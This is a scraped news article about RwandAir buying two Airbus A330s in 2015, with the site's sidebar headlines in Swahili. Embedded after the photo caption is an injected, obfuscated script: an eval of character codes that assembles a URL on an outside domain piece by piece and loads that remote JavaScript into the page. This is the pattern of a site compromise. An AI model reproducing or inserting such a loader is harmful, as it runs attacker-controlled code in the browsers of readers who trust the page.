Rwandan national carrier first EAC Airbus planes buyer in deal

By Baraka Bitariho Sep 15, 2015

<p>A RwandAir jet at Jomo Kenyatta International Airport in Nairobi. PHOTO | FILE By ALLAN ODHIAMBO</p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>

Rwandaâ€™s national carrier, RwandAir, has finally signed a contract with European plane maker Airbus for the purchase of two A330 aircraft, becoming its first-ever client in east Africa.

RwandAirâ€™s A330s will be delivered in the second half of 2016 and will be equipped with Rolls-Royce Trent 772B engines.

The two aircraft will feature a three class cabin layouts. The A330-200 will have 244 seats (20 business class, 21 premium and 203 economy class) and the A330-300 will have 274 seats (30 business class, 21 premium and 223 economy class).

â€œAs we look to introduce wide body aircraft for the first time into our fleet, with its proven economics, reliability and passenger comfort, we have found the A330 to perfectly support our plans to expand into Europe and Asia, to enhance our regional presence, to open up new routes and to grow our market share,â€ said RwandAir CEO John Mirenge.

â€œWe are also delighted to have these aircraft powered by Rolls-Royce, as the Trent 700 engine delivers the most efficient and reliable power, and will maximise the revenue earning potential of our new aircraft.â€

Rwandair is relatively smaller when compared with other carriers on the continent like Kenya Airways, South African Airways and Ethiopian Airlines.

â€œWe are extremely pleased that RwandAir has confirmed its confidence in the A330, and are happy to welcome them as a new A330 customer,â€ said Christopher Buckley, executive vice president, Africa, Europe and Asia Pacific.

The purchase by RwandAir is expected to increase competition for other airlines in the region including KQ and Ethiopian which are also undergoing fleet expansion and modernisation.

Rwanda in December signed a pact with Uganda and South Sudan to establish a legal framework for negotiations that would see local airlines attaining fifth freedom rights along Juba-Nairobi, Nairobi-Juba routes.

In aviation, fifth freedom rights mean an airline is allowed to carry passengers from one country to another and from that country to a third country.

The three countries signed the deal to create a legal framework before they could negotiate with Kenya on an airspace agreement which would subsequently be signed by ministers in charge of infrastructure.

OP The East African

By Baraka Bitariho

Simamia is a news house where visitors will get up to date information on news, events, and so on. Join us to get updated, entertained and learn. Our website is www.Simamia.com or email us at SimamiaTeam@gmail.com

Kamera Nene kwa umma News

Recent Comments

Breaking

Rwandan national carrier first EAC Airbus planes buyer in deal

By Baraka Bitariho

Related Post

Uongo, Dhihaka, Kejeli kwa wana Ngara

Biharamulo: Nyota ya Kung’ara, Mungu ni Mwema

JOSIAS CHARLES AJITOKEZA HADHARANI

You Missed

CHADEMA NGARA YAPATA PIGO KUONDOKEWA NA KIONGOZI.

MAHAFALI 58 YA SHULE YA MSINGI MABAWE

TAARIFA YA KUPOTEA KWA ANNA RAMECK WA NGARA

DIWANI HAFIDH AMWAKILISHA MBUNGE UZINDUZI WA ALBAM KWAYA YA MT. FRANSISCO WA ASIZI.

MKUU WA WILAYA YA SAME AFUNGA KANISA LA NABII MSANGI.